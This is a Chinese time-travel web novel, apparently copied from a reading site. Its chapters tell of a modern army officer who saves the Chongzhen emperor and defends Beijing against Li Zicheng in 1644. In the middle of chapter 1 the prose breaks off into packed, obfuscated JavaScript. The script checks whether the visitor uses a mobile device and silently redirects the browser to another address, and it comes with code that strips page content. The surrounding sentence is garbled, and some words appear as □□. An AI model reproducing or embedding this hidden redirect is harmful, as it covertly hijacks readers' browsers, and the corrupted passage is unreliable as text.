《铁血1626:从拯救崇祯开始》 1. 崇祯十七年三月 《铁血1626:从拯救崇祯开始》 楔子:血色残阳 公元2023年深秋,华夏西北某国防科研基地。 李炎站在落地窗前,望着远处戈壁滩上最后一抹残阳。作为三十四岁的兵器工程博士、陆军中校,他刚刚完成新型电磁炮的实弹测试。数据很理想,但不知为何,他心中却涌起一股莫名的不安。 “李工,华夏军委急电!”助手推门而入,脸色凝重。 三小时后,李炎坐在绝密会议室内,听着白发苍苍的钱院士介绍“时空涟漪理论”。大屏幕上,复杂的数学模型正在模拟一种罕见的宇宙现象——未来48小时内,地球将穿过一个时空异常带。 “我们监测到异常能量读数,”钱院士推了推眼镜,“理论上有亿万分之一的概率,会有人或物体被抛入历史节点。” “具体时间点?”李炎问。 “不确定。但数学模型显示,明末崇祯年间出现的概率最高。” 会议室陷入沉默。作为历史军事爱好者,李炎太清楚那个时间点意味着什么——华夏文明的至暗时刻即将来临。 会后,基地指挥官单独留下李炎:“上级决定,组建一个特别小组,携带必要的知识库和微型装备,随时待命。你是组长。” “首长,这太疯狂了……” “我们知道。”指挥官神色严肃,“但如果有亿万分之一的机会,能改变那段历史……” 李炎想起自己祖父临终前的话:“炎儿,我们民族最大的遗憾,就是崇祯十七年……” 那夜,李炎在基地图书馆查阅了大量明末史料。凌晨三点,当他读到“北京城破,崇祯自缢煤山”时,突然感到一阵剧烈头痛。四周的空间开始扭曲,书架上的书籍无风自动。 “警告!时空异常值突破临界点!”警报声刺破夜空。 李炎最后的意识,是看到一道白光吞没了整个世界。 公元1644年,大明崇祯十七年,三月十八日。 李炎在刺骨寒风中醒来。 首先感觉到的,是身下冰冷的青石板。他挣扎着坐起,发现自己躺在一条狭窄的巷弄里,身上还穿着军装常服,腰间挎着军用背包——里面装着手枪、急救包、太阳能充电器、平板电脑,以及最重要的:一块储存着海量技术资料的固态硬盘。 巷外传来嘈杂声。李炎探头望去,看到的景象让他心脏骤停—— 街道上挤满了慌乱奔逃的百姓,远处城门方向浓烟滚滚。男人们推着独轮车,车上堆着简陋的家当;妇女抱着孩子哭喊;老人们拄着拐杖,踉跄而行。所有人脸上都写着同一个词:绝望。 “闯贼要破城了!快跑啊!” “皇上还在宫里……” “跑有什么用?能跑到哪儿去?” 李炎的大脑飞速运转。他穿越了,而且直接来到了最危险的时刻——李自成大军兵临北京城下,距离崇祯皇帝自缢只剩下不到二十四小时。 “必须立刻进宫!”他撕下军衔标识,从背包里翻出一件便服外套罩在外面。平板电脑还有78%的电量,他迅速调出离线保存的北京城地图。 皇城在东面。李炎逆着人流狂奔,背包里的装备硌得他生疼。转过一个街角,眼前景象更触目惊心——几个地痞正在抢劫一家布店,店主的哭喊淹没在城市的喧嚣中。 “住手!”李炎下意识喝道。 地痞们回头,看到只是个穿着怪异的年轻人,狞笑着围上来。为首的是个刀疤脸,手里提着根木棍。 李炎叹了口气。在特种部队三年的训练,让他几乎本能地做出反应。侧身躲过挥来的木棍,右手擒腕,左手肘击,刀疤脸闷哼倒地。另外两人还没反应过来,已经被李炎踹中小腹,摔作一团。 整个过程不超过十秒。 “滚。”李炎捡起木棍,冷冷地说。 地痞们连滚爬起,狼狈逃窜。店主跪地磕头:“多谢壮士!多谢壮士!” “皇宫怎么走最快?”李炎扶起他。 “您、您要去皇宫?”店主惊恐,“东华门那边还在打,闯贼的兵已经到城外了!” 李炎不再多问,朝着店主指的方向继续狂奔。越靠近皇城,景象越混乱——有逃跑的太监宫女,有试图组织抵抗的侍卫,还有砸开仓库抢粮的乱民。 终于,他看到了东华门。 城门紧闭,墙头站着稀稀拉拉的守军,个个面如土色。一个军官模样的中年人正对着士兵咆哮:“守住!都给我守住!皇上还没走!” “王大人,守不住了啊!”一个年轻士兵哭喊,“城外全是贼兵,少说二十万!” “那也得守!” 李炎深吸一口气,走上前:“我要见皇上。” 军官王承恩——李炎从史料中知道这个名字,崇祯最忠诚的太监——转过身,警惕地盯着这个衣着怪异的年轻人:“你是何人?” “我能解京城之围。”李炎平静地说。 周围响起几声嗤笑。王承恩皱眉:“胡言乱语!来人,把这疯子赶走!” “等等。”李炎从背包里掏出手枪,对着天空扣动扳机。 “砰!” 震耳欲聋的枪声让所有人呆立当场。明代火铳发射时声音沉闷,绝没有如此清脆响亮。 “这是何物?”王承恩的声音变了。 “西洋最新火器。”李炎面不改色地撒谎,“我能制造更多这样的武器,一天之内,就能让闯贼退兵三十里。” 其实手枪里只剩十一发子弹,但这不重要,重要的是争取时间。 王承恩盯着李炎看了半晌,最终咬牙:“跟我来。但你若敢欺君,凌迟处死。” 穿过重重宫门,李炎第一次见到了真实的紫禁城。红墙黄瓦在暮色中显得格外凄惶,宫殿间奔跑的宫人像无头苍蝇。空气中弥漫着绝望的气息。 乾清宫内,烛火摇曳。 崇祯皇帝朱由检坐在龙椅上,年仅三十三岁,却已两鬓斑白。他穿着明黄色常服,腰背挺直,但眼中布满血丝。地上散落着奏折,几个大臣跪在一旁,瑟瑟发抖。 “陛下,城破在即,请速移驾南京……”一个老臣叩首。 “住口!”崇祯猛地拍案,“祖宗基业,岂可轻弃!朕……朕要与京城共存亡!” 话虽如此,他的手却在颤抖。 王承恩跪倒:“皇上,此人自称能解京城之围。” 所有人的目光投向李炎。崇祯抬眼,看着这个短发、奇装异服的年轻人,眼中闪过一丝疑惑:“你是何人?” “草民李炎,来自海外。”李炎行了个不标准的礼,“陛下,给我一天时间,五百兵士,我能让闯贼不敢攻城。” “狂妄!”一个大臣喝道,“城外二十万贼军,你当是儿戏吗?” 李炎不理会他,直视崇祯:“陛下,北京城墙高厚,本可坚守。如今军心涣散,是因无退敌之策。我有三策:一曰疑兵,二曰火攻,三曰斩首。” “细细说来。” “疑兵:今夜在城头遍插旌旗,每隔十步置草人着军服,以绳索操控,使贼以为守军众多;火攻:以火药掺硫磺、石灰,制成毒烟火箭,射入敌营,不杀人而乱军心;斩首:组建敢死队,夜袭敌营,专杀贼军将领。” 崇祯站起身,走下御阶:“你如何制造毒烟火箭?” “需硫磺五十斤,硝石一百斤,石灰三十斤,以及工匠十人。”李炎回答,“两个时辰可制百枚。” “陛下,不可信此江湖术士!”大臣们纷纷劝谏。 崇祯却看着李炎的眼睛。那双眼中有种他从未见过的东西——不是臣子的惶恐,不是文人的迂腐,而是一种近乎冷酷的自信。 “王承恩,拨他三百兵士,所需物料即刻备齐。”崇祯终于开口,“但李炎,你若失败,朕会亲手斩你。” “若成功呢?” 崇祯沉默片刻:“朕许你一个愿望。” --- 子夜时分,皇城西北角一处废弃院落。 李炎指挥着三百名惶惶不安的士兵。硫磺、硝石、石灰等材料已经运到,还有十个战战兢兢的工匠。 “首先,把硝石碾碎,越细越好。”李炎演示着,“硫磺和石灰按这个比例混合……” 他其实简化了现代火药配方,但对付十七世纪的军队足够了。关键是添加了生石灰,遇水会产生高热和腐蚀性烟雾。 士兵们将信将疑地工作起来。李炎则打开平板电脑,调出存储的火药制造资料——幸好他有下载维基百科和各类技术手册的习惯。 “李、李大人,这是何物?”一个年轻士兵指着发光的屏幕,声音发颤。 “海外秘宝。”李炎面不改色,“专心做事。” 凌晨三点,第一批五十枚毒烟火箭制成。说是火箭,其实就是在普通火箭基础上加装了石灰包,引信做了延时处理。 “现在,我需要三十个不怕死的人。”李炎看着士兵们。 一阵沉默。终于,一个满脸刀疤的老兵站出来:“老子家人都死在闯贼手里,我去。” “我也去!” “算我一个!” 最终,三十人的敢死队集结完毕。李炎给他们分发装备:每人三枚火箭,一把腰刀,还有——他从背包里拿出的三颗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17110034|195859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手雷。 “此物名‘震天雷’,拉动这个环,数三下扔出。”李炎演示,“记住,必须扔远,否则自己也会死。” 士兵们敬畏地看着那些铁疙瘩。 凌晨四点,东华门悄悄打开一条缝。李炎带着敢死队潜入夜色。城外,李自成大军的营火连绵数里,如地上星河。 “李大人,贼军主帅大营应在那个方向。”老兵指着最大的一簇营火。 李炎点头:“分成三队,一队随我去大营,另两队袭击左右两翼的马厩和粮草。得手后发射红色信号箭,然后立刻撤回。” “遵命!” 匍匐前进半个时辰,李炎的小队已接近中军大帐。帐篷外,几个哨兵正围着火堆打盹。更远处,巡逻队的火把在移动。 “等我信号。”李炎低声说。他掏出夜视仪——电池只剩37%,但够用了。 绿色视野中,营地布局清晰可见。他瞄准最大的帐篷,计算距离和风向。 “放箭!” 十支毒烟火箭呼啸升空,拖着刺鼻的白烟,精准落入营地各处。火箭炸开的瞬间,石灰粉四散飞扬,混着硫磺的刺鼻气味。 “敌袭!敌袭!” 营地大乱。士兵们从梦中惊醒,吸入石灰粉后剧烈咳嗽,眼睛灼痛。马匹受惊嘶鸣,挣脱缰绳四处狂奔。 与此同时,左右两翼也升起火光——另外两队得手了。 “现在!”李炎率先冲出,手枪连发三枪,放倒三个冲过来的士兵。 敢死队员们如猛虎出闸,冲入混乱的营地。他们的目标明确:穿盔甲的军官。一个闯军将领刚冲出帐篷,就被老兵一刀砍倒。 李炎直扑中军大帐。帐内,一个身材魁梧的中年人正在披甲——正是李自成麾下大将刘宗敏。 “保护将军!”亲兵们围上来。 李炎扔出手雷。 “轰!” 爆炸声在寂静的夜晚格外震撼。气浪掀翻帐篷,刘宗敏被震倒在地,耳鼻流血。 “妖、妖术!”亲兵们惊恐后退。 李炎不给他们反应时间,手枪点射,再放倒两人,然后冲到刘宗敏面前,枪口顶住他的额头。 “让你的部队后退三十里。”李炎冷冷地说,“否则下次,炸的就是李自成的中军大帐。” 刘宗敏死死盯着这个短发怪人:“你……你是何人?” “崇祯皇帝麾下,天机营指挥使,李炎。”李炎随口编了个官职,“现在,传令。” 迫于枪口,刘宗敏咬牙下令鸣金收兵。实际上营地已乱成一团,不用命令也已开始溃退。 黎明时分,李炎带着敢死队返回城内。三十人去了,二十八人回,还带回三匹战马和一面闯军将旗。 城头上,王承恩和守军目瞪口呆地看着闯军营地向西移动,真的退兵了。 “李大人,您这是……”王承恩的声音在颤抖。 “缓兵之计。”李炎擦去脸上的烟灰,“他们很快就会反应过来,卷土重来。我们只有一天时间准备真正的守城战。” --- 乾清宫内,崇祯皇帝听完汇报,久久不语。 他走下龙椅,亲手扶起跪地的李炎:“爱卿……真乃神人也。” “陛下过誉。”李炎平静地说,“闯军虽退,但未伤筋骨。李自成用兵狡诈,必会很快查明虚实。我们必须在他再次攻城前,做好万全准备。” “你要什么?” “全权指挥京城防务。”李炎抬起头,“以及……改革军制,制造新式火器,重整朝纲。” 几个大臣倒吸冷气:“陛下,万万不可!此人来历不明……” “那你们能守住京城吗?”崇祯猛地转身,眼中爆发出久违的锐利,“能吗?” 大臣们哑口无言。 “传旨:封李炎为兵部右侍郎,总领京师防务,赐尚方宝剑,有先斩后奏之权。”崇祯一字一句,“王承恩,你协助李侍郎,凡有抗命者,斩!” “臣,领旨。”李炎单膝跪地。 他知道,这只是开始。改变历史的第一步已经迈出,但前方是更艰难的征途——不仅要守住北京,还要逆转整个明末的颓势,更要对抗正在关外崛起的满洲铁骑。 而他的筹码,只有超越时代的知识,和一颗不惜一切代价挽救文明的心。 走出乾清宫时,天已大亮。北京城的轮廓在晨曦中逐渐清晰,这座古老的都城,将迎来它命运中最关键的一场战役。 李炎握紧尚方宝剑的剑柄,望向东方天际。 那里,大明的太阳正在升起。 而他将不惜一切,不让它落下。 2. 中流击楫 正午的阳光透过乾清宫的窗棂,在地上投下斑驳的光影。李炎站在巨大的北京城防图前,手中炭笔划过一道道痕迹。 “德胜门、安定门、东直门、朝阳门。”他的声音在殿内回荡,“这四个城门最易受攻击,必须重点布防。” 王承恩站在一旁,身后是十余名将领,个个盔甲陈旧,面色憔悴。他们是京营最后的指挥层,大多出身勋贵,却无实战经验。 “李侍郎,”一个满脸虬髯的将领忍不住开口,“城内存粮仅够半月,火药不足三千斤,箭矢不足五万支。就算有你的……新式火器,又如何抵挡二十万贼军?” 李炎转过身,目光扫过众人:“张总兵说得对,硬守是守不住的。所以我们要智取。” 他走到大殿中央,崇祯皇帝坐在龙椅上,眉头紧锁。 “陛下,臣有三请。”李炎拱手,“第一,开内帑,重赏守城将士,凡斩敌一人,赏银十两;第二,释放轻罪囚犯,编入辅兵队,搬运守城物资;第三,征召城中工匠,设立军器局,日夜赶制火器。” 户部尚书噗通跪倒:“陛下不可啊!内帑仅存银八十万两,若尽数赏军,宫中用度……” “国都要亡了,还要宫中用度何用!”崇祯猛地站起,眼中血丝更密,“准奏!王承恩,开内库,按李侍郎所言行事!” “臣还有一请。”李炎继续说,“请陛下亲登城楼,犒劳将士。” 殿内一片哗然。皇帝亲临前线,万一有个闪失…… “好!”崇祯却毫不犹豫,“朕不但要登城,还要与将士同食同寝!传旨:今日起,御膳减半,省下的银两全部充作军费!” 李炎看着这个三十三岁的皇帝,心中涌起复杂情绪。历史上的崇祯刚愎自用,但此刻展现的决绝,或许正是这个王朝最后的脊梁。 --- 午后,军器局在西苑空地上紧急设立。 三百名工匠被征召而来,大多是衣衫褴褛的底层手艺人。他们惶恐地跪在地上,不知等待自己的是福是祸。 李炎站在临时搭建的木台上,手中举着一支连夜赶制的样品:“诸位请看,此乃‘崇祯一式’火铳。” 那是一支简化版的燧发枪。李炎根据平板电脑中的图纸,结合明代工艺水平进行了改良——取消了复杂的簧轮机构,改用简单的燧石击发;枪管缩短,便于城头使用;口径标准化,可以使用统一规格的铅弹。 “此铳射程百步,装填只需二十息。”李炎示意助手演示。 工匠们瞪大眼睛。明代火铳装填需要至少一分钟,且哑火率高,实战中往往放一枪就得肉搏。 “砰!”靶子在百步外应声而破。 一片惊叹声。 “凡能一日造铳一支者,赏银五两;造弹百枚者,赏银一两。”李炎朗声道,“若能改进工艺,提高产量,另有重赏!” 重赏之下必有勇夫。工匠们的眼中燃起了光芒。 李炎走下木台,来到一个老工匠面前。老人正在仔细端详样品,手指摩挲着枪管接缝处。 “老师傅,有何高见?” 老人吓了一跳,连忙跪倒:“大人恕罪,小的只是觉得……这铳管若能加一道箍,或许更牢固些。” 李炎眼睛一亮。这就是他要的——激发工匠的创造力。他扶起老人:“老师傅怎么称呼?” “小的姓徐,名天工,世代铁匠。” “徐师傅,我任命你为军器局副总管。”李炎当场拍板,“凡有改进建议,可直接禀报。” 周围工匠哗然。一个平民,竟能得此重用? “诸位!”李炎提高声音,“非常之时,当用非常之才!不论出身,只论本事!谁能改进工艺,提高产量,同样可获擢升!” 工匠们的积极性被彻底点燃。 --- 与此同时,城头防务也在紧锣密鼓进行。 按照李炎的部署,城墙每五十步设一“火力点”,配备改进后的毒烟火箭和万人敌(大型□□)。城墙后方搭建高台,布置弓弩手。最关键的,是在四个主要城门内修筑瓮城——虽然时间仓促,只能建简易版,但足以形成交叉火力。 李炎亲自检查德胜门的防御。守将是京营副将周遇吉,历史上他将在宁武关血战殉国,但现在命运已经改变。 “周将军,城门是关键。”李炎指着厚重的包铁城门,“闯军必会集中攻击此处。我准备在此处埋设‘地雷’。” “地雷?” “地下埋设火药,引线通到城楼。”李炎解释,“待敌军聚集门下时引爆,可杀数百人。” 周遇吉倒吸冷气:“此计……未免太过狠辣。” “战争本就是你死我活。”李炎平静地说,“对敌人仁慈,就是对自己人残忍。” 正说话间,一骑快马飞驰而来:“报!闯军前锋已至十里外,李自成亲率中军,预计明日午时抵达!” 该来的终于来了。 --- 夜晚,李自成大营。 刘宗敏跪在帐中,头上裹着纱布,血迹渗透。帐内气氛压抑,数十名将领分列两侧,中央坐着李自成。 这位三十八岁的起义军领袖身材不高,但目光锐利如鹰。他盯着刘宗敏看了半晌,缓缓开口:“你说……明军有妖术?” “千真万确!”刘宗敏声音发颤,“那爆炸声如雷霆,白烟刺眼灼喉,弟兄们乱作一团。还有那短发怪人,手持小匣,指谁谁死……” “荒谬!”一个文士打扮的中年人出列,“大王,此必是明军疑兵之计。北京城防空虚,我军一鼓作气便可攻下。” 此人是李自成的谋士牛金星。 “军师言之有理。”另一将领附和,“刘将军定是中了埋伏,为推卸责任编造谎话。” “我没有!”刘宗敏急道,“大王若不信,可问逃回的弟兄!” 李自成摆摆手:“宗敏先起来。无论真假,我军新败是事实。传令:各营加强戒备,多派斥候,查明城中虚实。” 他走到地图前:“北京城高池深,强攻代价太大。宋军师,你怎么看?” 一直沉默的宋献策捻着胡须:“大王,北京虽坚,但人心已散。可先围而不攻,遣细作入城散布谣言,动摇守军意志。同时分兵劫掠周边,断其粮道。不出一月,城内必乱。” “好计!”李自成点头,“但也不能等太久。关外还有满洲鞑子虎视眈眈,须速战速决。” 他手指点在地图上:“三日后,四面同时攻城。我倒要看看,那个‘妖人’能有多少妖术!” --- 同一时间,紫禁城文华殿。 这里被临时改为作战指挥部。墙上挂满地图,桌上堆着文书,李炎和十余名将领正在推演战局。 “闯军最可能的攻击方向,是德胜门和西直门。”李炎指着沙盘,“这两门外地势开阔,适合大军展开。而李自成用兵,喜集中优势兵力突破一点。” “那我们是否要加强这两处防守?”周遇吉问。 “不。”李炎摇头,“我们要示弱。” 众人不解。 “在德胜门和西直门减少旗号,白天只派老弱守城,夜晚却暗中增兵。”李炎解释道,“而在安定门和东直门,则大张旗鼓,做出重兵防守的假象。” 王承恩恍然大悟:“李侍郎是要诱敌攻其‘弱’点?” “正是。”李炎在沙盘上摆弄着代表兵力的木块,“闯军斥候看到布防虚实,必会建议李自成攻德胜、西直二门。而那里,我们已经布下了天罗地网。” 他详细讲解作战计划:在瓮城埋伏精锐,城头准备滚木礌石,地下埋设火药。待敌军破门涌入瓮城,立刻引爆火药,放下闸门,形成关门打狗之势。 “但这也太冒险了。”一个年轻将领担忧,“万一城门真被攻破……” “所以需要一支奇兵。”李炎看向周遇吉,“周将军,我需要你率领两千骑兵,埋伏在城北密林中。待敌军攻城正酣时,从侧翼杀出,直取李自成中军。” “两千对二十万?”周遇吉苦笑,“这是送死。” “不是硬拼,是袭扰。”李炎说,“李自成为了速战速决,必会将精锐投入攻城,中军反而空虚。你们突袭得手后立刻撤退,搅乱敌军部署即可。” 他顿了顿:“这是九死一生的任务。周将军若不愿,我不强求。” 周遇吉沉默片刻,忽然单膝跪地:“末将愿往!家父战死辽东,末将早就想和这些流寇决一死战!” “好!”李炎扶起他,“记住,你们的任务是制造混乱,不是杀敌多少。一击即走,绝不可恋战。” 作战计划确定后,将领们各自领命而去。殿内只剩下李炎和王承恩。 “李侍郎,”王承恩低声问,“有几分把握?” “五分。”李炎实话实说,“兵力悬殊太大,再精妙的计策也需要运气。” 他走到窗边,望着夜空中的星辰。那些星星的光芒,其实很多已经熄灭,只是光还在宇宙中旅行。就像这个时代,大明王朝实际上已经濒临死亡,但他必须让它的光继续照耀下去。 “王公公,若我战死,请你务必保护皇上南下。”李炎突然说。 王承恩一震:“李侍郎何出此言?” “我有预感,这一战不会轻松。”李炎转过身,“我带来的‘仙器’有限,知识也需要时间转化为实力。若此战失败……至少要为大明保留火种。” 王承恩深深看了他一眼:“李侍郎放心,老奴誓死护卫皇上。但你也要活着,大明……需要你这样的人。” 两人相视无言。殿外,更鼓敲响了三声。 距离决战,还有十二个时辰。 --- 子夜,李炎回到临时住所——西苑的一处偏殿。他打开平板电脑,电量还剩62%。调出存储的资料库,开始搜索“简易火药制造”“守城器械”“战地急救”…… 忽然,一条记录引起他的注意:“1634年,徐光启遗作《农政全书》完稿,其中收录《火攻要术》……” 徐光启!这位明代科学家曾与利玛窦合作,翻译《几何原本》,倡导西学。他的著作中或许有可用的知识。 “来人!”李炎唤来侍卫,“立刻去徐府,寻找徐光启大人的遗稿,尤其是《农政全书》和《火攻要术》!” 侍卫领命而去。李炎继续查阅资料,直到眼睛发涩。他关掉平板,从背包里取出一个相框——那是他和父母的合影,拍摄于2022年春节。 照片上的父母笑容灿烂,而他却再也回不去了。 “爸,妈,”他轻声自语,“儿子在做一件大事,一件……能改变历史的大事。” 他将相框贴在胸前,良久,重新收起,眼神恢复坚定。 天快亮时,侍卫带着几箱书籍回来。李炎如获至宝,连夜翻阅,果然在《火攻要术》中发现了有价值的内容——徐光启记录了一种“连珠铳”的设计,可连续发射二十弹,虽然原始,但原理可行。 “立刻召集工匠!”李炎不顾疲劳,“按此图纸,试制连珠铳!” 黎明时分,第一支试验品造出来了。那是一个笨重的圆筒,装填铁砂和火药,通过转轮机构实现连续击发。 “试射!” “砰砰砰砰……”一连串爆响,二十步外的木靶被打得千疮百孔。 “成功了!”工匠们欢呼。 李炎却没有太多喜悦。这武器射程近、精度差、装填慢,只能用于近距离防御。但聊胜于无。 “批量制造,优先装备瓮城守军。”他下令,“另外,准备足够的石灰、硫磺、桐油……” “大人要这些何用?”徐天工问。 “做□□。”李炎眼中闪过一丝冷光,“李自成既然来了,就让他尝尝火海的滋味。” --- 三月二十日,清晨。 北京城头,旌旗猎猎。经过两日准备,城墙明显加固,新制的守城器械排列整齐。守军士兵虽然依旧面带菜色,但眼中多了几分神采——重赏之下,士气有所恢复。 崇祯皇帝真的登上了德胜门城楼。他穿着金甲,在晨光中略显单薄,但挺直的腰杆让守军们精神一振。 “将士们!”崇祯的声音在风中传开,“贼军犯我京师,欲亡我社稷。朕与你们同在,誓与京城共存亡!凡杀敌立功者,不吝封侯之赏;凡临阵脱逃者,立斩不赦!” “万岁!万岁!万岁!”山呼声响起。 李炎站在崇祯身后,看着这一幕。历史上,崇祯在城破前也曾试图鼓舞士气,但为时已晚。而现在,至少还有一战之力。 远处,地平线上烟尘滚滚。先是零星骑兵出现,接着是黑压压的步兵方阵,最后是望不到头的流民队伍。李自成大军,到了。 中军大旗下,李自成眯眼望着北京城。这座他梦寐以求的都城,如 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“倒金汁!”守军将烧沸的粪水倒下,惨叫声此起彼伏。 战斗进入白热化。李炎在城楼指挥,不断调整部署。他手中的望远镜不时扫过战场,寻找李自成的中军位置。 午时,德胜门出现险情。一段城墙被闯军火炮击中,坍塌出一个缺口。数百敌军蜂拥而入。 “预备队上!”李炎冷静下令,“连珠铳准备!” 瓮城内,五十名手持连珠铳的士兵埋伏在两侧。待闯军涌入约三百人时,闸门突然落下。 “射击!” “砰砰砰砰……”连珠铳喷出火舌,铁砂呈扇形覆盖。狭窄空间内的闯军无处可躲,成片倒下。 同时,城头投下□□——陶罐内装桐油、硫磺,落地即燃。瓮城瞬间变成火海。 惨叫声震天动地。后续闯军吓得连连后退。 远处,李自成脸色铁青:“那是什么火器?!” 无人能答。 “大王,西直门攻势也不顺。”斥候来报,“守军抵抗顽强,且有怪异火器助阵。” 李自成咬牙:“传令刘宗敏,亲自带队,再攻德胜门!今日必破此城!” 他不知道的是,就在他调兵遣将时,周遇吉的两千骑兵已悄然出城,绕到了闯军侧翼。 --- 申时,战斗已持续四个时辰。 守军伤亡惨重,箭矢消耗过半,滚木礌石所剩无几。闯军虽然损失更大,但兵力雄厚,一波接一波,仿佛无穷无尽。 李炎手臂中了一箭,简单包扎后继续指挥。崇祯被王承恩强行劝下城楼,但坚持在城门楼内督战。 “李侍郎,援军何时出击?”王承恩焦急地问。 “再等等。”李炎盯着战场,“李自成还没把全部精锐压上。” 话音未落,闯军阵中忽然响起震天鼓声。一支全身铁甲的部队出列——这是李自成的老营精锐,每个士兵都身经百战。 他们推着巨大的攻城槌,缓缓逼近德胜门。 “就是现在!”李炎对传令兵大喝,“发信号!” 三支红色火箭冲天而起。 城外密林中,周遇吉看到信号,翻身上马:“弟兄们,随我杀!” 两千骑兵如离弦之箭,从侧翼杀入闯军阵地。他们不恋战,直扑中军大旗。 “保护大王!”闯军一片混乱。 李自成大惊,他没想到明军还有余力出击。老营精锐已投入攻城,中军确实空虚。 “亲卫营,迎战!”他拔剑大喝。 骑兵对决在旷野展开。周遇吉一马当先,连斩三将,直取李自成。但亲卫营拼死抵挡,将他团团围住。 “将军快走!”副将大喊,“我们被包围了!” 周遇吉环顾四周,两千骑兵已陷入重围。他哈哈大笑:“今日杀得痛快!弟兄们,多拉几个垫背的!” 就在此时,德胜门突然大开。 李炎亲率最后五百骑兵杀出。他们没有冲击主战场,而是直奔攻城槌部队。 “毁掉攻城槌!”李炎手持改良版燧发手枪,一枪一个。 守军见主将出城,士气大振。城头剩余箭矢、火器全部倾泻而下。 战场形势逆转。攻城槌被焚毁,老营精锐腹背受敌。李自成见势不妙,终于下令鸣金收兵。 夕阳西下,闯军如潮水般退去。战场上尸横遍野,德胜门前堆满尸体,护城河的水被染成暗红。 李炎勒马立于阵前,望着退去的敌军。他知道,这只是暂时的胜利。李自成很快就会卷土重来。 但至少,北京城守住了第一天。而这一天,本该是城破的日子。 历史,已经改变了。 --- 夜幕降临,伤兵营内呻吟不断。李炎简单处理了伤口,开始巡视城防。 士兵们看到他,纷纷行礼,眼中满是敬畏。今日一战,这位突然出现的李侍郎用事实证明了能力。 “统计战果。”李炎对王承恩说。 “初步统计,歼敌约八千,我军伤亡三千。”王承恩声音低沉,“周遇吉将军……突围时中箭落马,被亲兵拼死救回,但伤势严重。” 李炎心中一沉:“带我去看他。” 周遇吉躺在简陋的军帐中,胸口插着一支断箭,军医正束手无策。 “李……李侍郎……”周遇吉虚弱地开口,“末将……没辱使命吧?” “周将军立下大功。”李炎蹲下身,“你会没事的。” “不用安慰我。”周遇吉咧嘴一笑,血沫从嘴角溢出,“末将早就……准备好这一天了。只是遗憾……不能看到……大明中兴……” 他的手无力垂下。 帐内一片寂静。李炎闭上眼,深吸一口气,再睁开时,眼中只剩决绝。 “厚葬周将军,抚恤加倍。”他起身,“传令各门:连夜修复城墙,补充箭矢火器。闯军明日必会再来,而且攻势会更猛。” 走出军帐,夜空无星,乌云密布。 一场暴雨即将来临。而更大的风暴,还在后头。 李炎握紧剑柄,望向紫禁城方向。那里,大明的皇帝还在等待战报。 他迈步向前,身影融入夜色。 战争才刚刚开始,而他要走的路,还很长很长。 3. 雨夜惊雷 子时三刻,暴雨倾盆。 雨水冲刷着德胜门外的战场,血水混着泥浆,在青石板街面上蜿蜒成一道道暗红色的溪流。城头残破的旌旗在风中猎猎作响,守军士兵裹着蓑衣,在垛口后蜷缩着,每个人的脸上都写满疲惫。 李炎站在城门楼内,油灯的光晕在湿冷空气中颤抖。他面前摊开着北京城防图,朱砂笔标记的防线已有七处被突破后修复。王承恩端着一碗姜汤站在一旁,欲言又止。 “城内存粮还能支撑几日?”李炎没有抬头。 “若是按照现在的消耗……十日。”王承恩的声音干涩,“但若要将士们吃饱守城,最多七日。” “火药呢?” “昨夜赶制的新式火药还有八百斤,石灰、硫磺等原料……各不足千斤。” 李炎放下笔,揉了揉太阳穴。穿越第四天,睡眠时间加起来不足六个时辰。左臂的箭伤隐隐作痛,军医说若再深半寸就会伤及筋骨。 “李自成不会给我们喘息之机。”他走到窗前,雨幕中的北京城一片漆黑,只有零星几点灯火——那是巡夜的兵丁,“明日他必会改变战术。” “侍郎的意思是……” “围而不攻,断我粮道。”李炎转身,眼神锐利,“今日强攻受挫,李自成只要不傻,就会明白强攻代价太大。他最可能做的,是分兵控制京畿要道,同时派细作入城煽动内乱。” 话音未落,殿外传来急促脚步声。一个浑身湿透的锦衣卫千户单膝跪地:“禀侍郎!南城粮仓起火!” 李炎与王承恩对视一眼,都看到对方眼中的寒意。 来的真快。 --- 南城,太平仓。 大火在暴雨中诡异燃烧,雨水浇在火焰上竟发出嗤嗤声响,冒出刺鼻白烟。李炎赶到时,两百余名守仓士兵正奋力扑救,但火势已蔓延至三座仓廒。 “是油!”一个老仓吏哭喊,“贼人在粮垛上泼了桐油!” 李炎蹲身抓起一把烧焦的米粒,在鼻尖嗅了嗅,脸色骤变:“不是桐油,是磷粉混合油脂……这是专业纵火手段。” 他猛地起身:“王公公,立即封锁周边街巷,所有人员不得进出!锦衣卫挨户搜查,发现身上有磷粉味或油脂痕迹者,格杀勿论!” 命令刚下,东城方向又传来爆炸声。 “是火药局!”王承恩失声。 李炎翻身上马,亲兵队紧随其后。穿过雨夜的街道,沿途所见触目惊心——数处民宅起火,混乱中有人趁火打劫,哭喊声、厮杀声、救火声混作一团。 这是内乱的前兆。 火药局外围墙被炸开一个缺口,值守士兵死伤十余。李炎冲进院内,只见工匠们正拼命抢救设备和原料,徐天工脸上带着血污,指挥若定。 “徐师傅,损失如何?” “大人!”徐天工跪地,“贼人用火药炸开围墙,欲抢夺连珠铳样品,被守卫击退。但……新制的一百二十枚毒烟火箭被毁。” 李炎扶起他:“人没事就好。火箭可以再造。” 他走到爆炸点,蹲下检查残留物。炸点精准,药量计算恰到好处——既炸开围墙,又未波及主要工坊。这不是普通细作能做到的。 “大人,发现这个。”亲兵递上一块铁牌。 铁牌巴掌大小,边缘有火烧痕迹,正面刻着一只闭目的乌鸦。李炎瞳孔微缩——这是满洲正白旗细作的身份标志,他在后世档案中见过图样。 满清已经插手了。 “传令九门提督:全城戒严,实行宵禁。凡无通行文书夜间上街者,以奸细论处。”李炎声音冰冷,“再调一千京营士兵,加强皇城守卫。” 他翻身上马,却未回紫禁城,而是直奔西城。 “大人,我们去哪儿?”亲兵队长问道。 “去找能抓老鼠的猫。” --- 西城,皮库胡同。 这里聚集着北京城三教九流的人物,白天是皮货市场,夜晚则变成黑市交易场所。李炎在一处不起眼的院落前下马,叩门三长两短。 